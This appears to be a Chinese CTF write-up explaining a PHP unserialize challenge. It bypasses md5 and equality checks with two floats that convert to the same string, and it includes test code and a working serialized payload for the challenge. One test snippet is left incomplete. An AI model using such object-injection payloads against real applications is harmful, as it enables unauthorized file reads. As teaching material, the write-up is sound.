hello-py

参加了国赛,才发现自己太菜了,自己做的时候不会
一看别人wp,cm!。正所谓赛后诸葛亮,今天自己也来总结一下这道题

上源代码

<?php
class trick{
    public $a;
    public $b;
    public function __destruct(){
        $this->a = (string)$this->a;
        if(strlen($this->a) > 5 || strlen($this->b) > 5){
            die("你太长了");//a,b的值不能超过5
        }
        if($this->a !== $this->b && md5($this->a) === md5($this->b) && $this->a != $this->b){
            echo file_get_contents("/flag");
        }
    }
}
highlight_file(__FILE__);
unserialize($_GET[\'trick\']); 

题目要求a和b的值和类型都不能相等。并且要让a和b的md5值相等
测试代码

<?php
$a=;
$b=;
var_dump($a!==$b);
var_dump($a!=$b);

var_dump(md5($a)===md5($b));
var_dump($a!==$b&& $a!=$b&&md5($a)===md5($b));

?>

自己就不卖关子了,毕竟是看了wp的人。

要是我们在输入ab的时候最后的范围可以进行改变,比如说数字衰减等等
其实在php里面存在这样的结果。
php只能精度到0.10000000000000精度不衰减。但是后面加加上1以后0.100000000000001直接等于0.1

也就是0.100000000000001在进行运算的时候会因为精度衰减改变成0.1
于是我们可以实验一下

<?php
$a=0.1;
$b=0.100000000000001;
var_dump($a!==$b);#bool(true)
var_dump($a!=$b);#bool(true)
var_dump(md5($a)===md5($b));#bool(true)
var_dump($a!==$b&& $a!=$b&&md5($a)===md5($b));#bool(true)
?>

最后直接进行payload构造

<?php
class trick{
    public $a=0.1;
    public $b=0.100000000000001;
}
$payload=new trick();
echo serialize($payload);
?>
#O:5:"trick":2:{s:1:"a";d:0.1;s:1:"b";d:0.100000000000001;}

在第一个判断长度的时候也特别巧妙

参考
https://mp.weixin.qq.com/s?__biz=MzU0NjU5NDE4Mg==&mid=2247484035&idx=1&sn=ea5d2e15d53ffa5d22439eb23c583a5a&chksm=fb5a0e6acc2d877cfa03a5122aa2be3377847288715077507460ea68a51e20a9a1d99d816f69&mpshare=1&scene=23&srcid=0822EW4zYLw7XJILKcVTChvI&sharer_sharetime=1598089109807&sharer_shareid=8650af9af4d5f2070802d7230017de3a#rd

分类:

技术点:

相关文章: